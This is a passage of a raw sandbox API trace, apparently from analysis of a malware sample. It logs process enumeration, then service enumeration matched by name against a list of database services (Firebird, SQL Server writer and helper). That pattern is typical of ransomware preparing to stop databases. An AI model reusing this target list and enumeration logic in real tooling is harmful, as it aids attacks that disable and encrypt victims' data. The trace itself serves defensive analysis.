lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0124.907] lstrlenW (lpString="beam removable.exe") returned 18 [0124.907] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0124.908] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0124.908] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0124.909] lstrlenW (lpString="dome.exe") returned 8 [0124.909] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0124.910] lstrlenW (lpString="wiresjacket.exe") returned 15 [0124.910] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0124.911] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0124.911] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0124.912] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0124.912] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0124.913] lstrlenW (lpString="tested.exe") returned 10 [0124.913] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0124.914] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0124.914] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0124.915] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0124.915] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0124.916] lstrlenW (lpString="level.exe") returned 9 [0124.916] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0124.917] lstrlenW (lpString="dllhost.exe") returned 11 [0124.917] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.918] lstrlenW (lpString="conhost.exe") returned 11 [0124.918] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.919] lstrlenW (lpString="conhost.exe") returned 11 [0124.919] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.920] lstrlenW (lpString="svchost.exe") returned 11 [0124.920] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0124.920] lstrlenW (lpString="load0.exe") returned 9 [0124.921] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0124.921] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0124.921] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.922] lstrlenW (lpString="conhost.exe") returned 11 [0124.922] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.923] lstrlenW (lpString="cmd.exe") returned 7 [0124.923] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.924] lstrlenW (lpString="conhost.exe") returned 11 [0124.924] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0126.554] CloseHandle (hObject=0xfc8) returned 1 [0126.554] Sleep (dwMilliseconds=0x1f4) [0127.939] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3960 [0127.940] EnumServicesStatusExW (in: hSCManager=0x5e3960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0127.941] GetLastError () returned 0xea [0127.941] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1ce8) returned 0x64ac08 [0127.941] EnumServicesStatusExW (in: hSCManager=0x5e3960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1ce8, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0127.942] CloseServiceHandle (hSCObject=0x5e3960) returned 1 [0127.942] lstrlenW (lpString="Appinfo") returned 7 [0127.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0127.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0127.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0127.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0127.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0127.942] lstrlenW (lpString="AppXSvc") returned 7 [0127.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0127.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0127.943] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0127.943] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0127.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0127.943] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0127.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.943] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0127.943] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0127.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0127.943] lstrlenW (lpString="Audiosrv") returned 8 [0127.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0127.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0127.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0127.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0127.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0127.943] lstrlenW (lpString="BFE") returned 3 [0127.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0127.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0127.943] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0127.943] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0127.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0127.943] lstrlenW (lpString="BITS") returned 4 [0127.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0127.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0127.943] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0127.943] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0127.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0127.943] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0127.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.944] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0127.944] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0127.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0127.944] lstrlenW (lpString="CDPSvc") returned 6 [0127.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0127.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0127.944] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0127.944] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0127.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0127.944] lstrlenW (lpString="ClickToRunSvc") returned 13 [0127.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.944] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0127.944] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0127.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0127.944] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0127.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.944] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0127.944] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0127.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0127.944] lstrlenW (lpString="CryptSvc") returned 8 [0127.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0127.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0127.944] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0127.945] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0127.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0127.945] lstrlenW (lpString="DcomLaunch") returned 10 [0127.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.945] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0127.945] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0127.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0127.945] lstrlenW (lpString="DeviceAssociationService") returned 24 [0127.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.945] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0127.945] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0127.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0127.945] lstrlenW (lpString="Dhcp") returned 4 [0127.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0127.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0127.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0127.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0127.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0127.946] lstrlenW (lpString="Dnscache") returned 8 [0127.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0127.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0127.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0127.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0127.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0127.946] lstrlenW (lpString="DoSvc") returned 5 [0127.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0127.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0127.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0127.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0127.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0127.946] lstrlenW (lpString="DPS") returned 3 [0127.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0127.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0127.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0127.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0127.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0127.946] lstrlenW (lpString="DusmSvc") returned 7 [0127.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0127.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0127.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0127.946] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0127.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0127.947] lstrlenW (lpString="EventLog") returned 8 [0127.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0127.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0127.947] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0127.947] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0127.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0127.947] lstrlenW (lpString="EventSystem") returned 11 [0127.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0127.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0127.947] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0127.947] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0127.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0127.947] lstrlenW (lpString="FontCache") returned 9 [0127.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0127.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0127.947] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0127.947] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0127.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0127.947] lstrlenW (lpString="gpsvc") returned 5 [0127.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0127.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0127.947] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0127.947] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0127.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0127.947] lstrlenW (lpString="iphlpsvc") returned 8 [0127.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.947] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0127.948] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0127.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0127.948] lstrlenW (lpString="KeyIso") returned 6 [0127.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0127.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0127.948] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0127.948] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0127.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0127.948] lstrlenW (lpString="LanmanServer") returned 12 [0127.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0127.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0127.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0127.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0127.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0127.948] lstrlenW (lpString="LanmanWorkstation") returned 17 [0127.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0127.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0127.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0127.948] lstrlenW (lpString="lfsvc") returned 5 [0127.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0127.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0127.948] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0127.948] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0127.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0127.948] lstrlenW (lpString="lmhosts") returned 7 [0127.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0127.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0127.949] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0127.949] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0127.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0127.949] lstrlenW (lpString="LSM") returned 3 [0127.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0127.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0127.949] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0127.949] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0127.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0127.949] lstrlenW (lpString="MpsSvc") returned 6 [0127.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0127.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0127.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0127.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0127.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0127.949] lstrlenW (lpString="NcbService") returned 10 [0127.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0127.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0127.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0127.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0127.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0127.949] lstrlenW (lpString="netprofm") returned 8 [0127.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0127.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0127.949] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0127.949] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0127.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0127.949] lstrlenW (lpString="NlaSvc") returned 6 [0127.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0127.950] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0127.950] lstrlenW (lpString="nsi") returned 3 [0127.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0127.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0127.950] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0127.950] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0127.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0127.950] lstrlenW (lpString="PcaSvc") returned 6 [0127.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0127.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0127.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0127.950] lstrlenW (lpString="PlugPlay") returned 8 [0127.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0127.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0127.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0127.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0127.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0127.950] lstrlenW (lpString="Power") returned 5 [0127.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0127.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0127.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0127.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0127.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0127.951] lstrlenW (lpString="ProfSvc") returned 7 [0127.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0127.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0127.951] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0127.951] 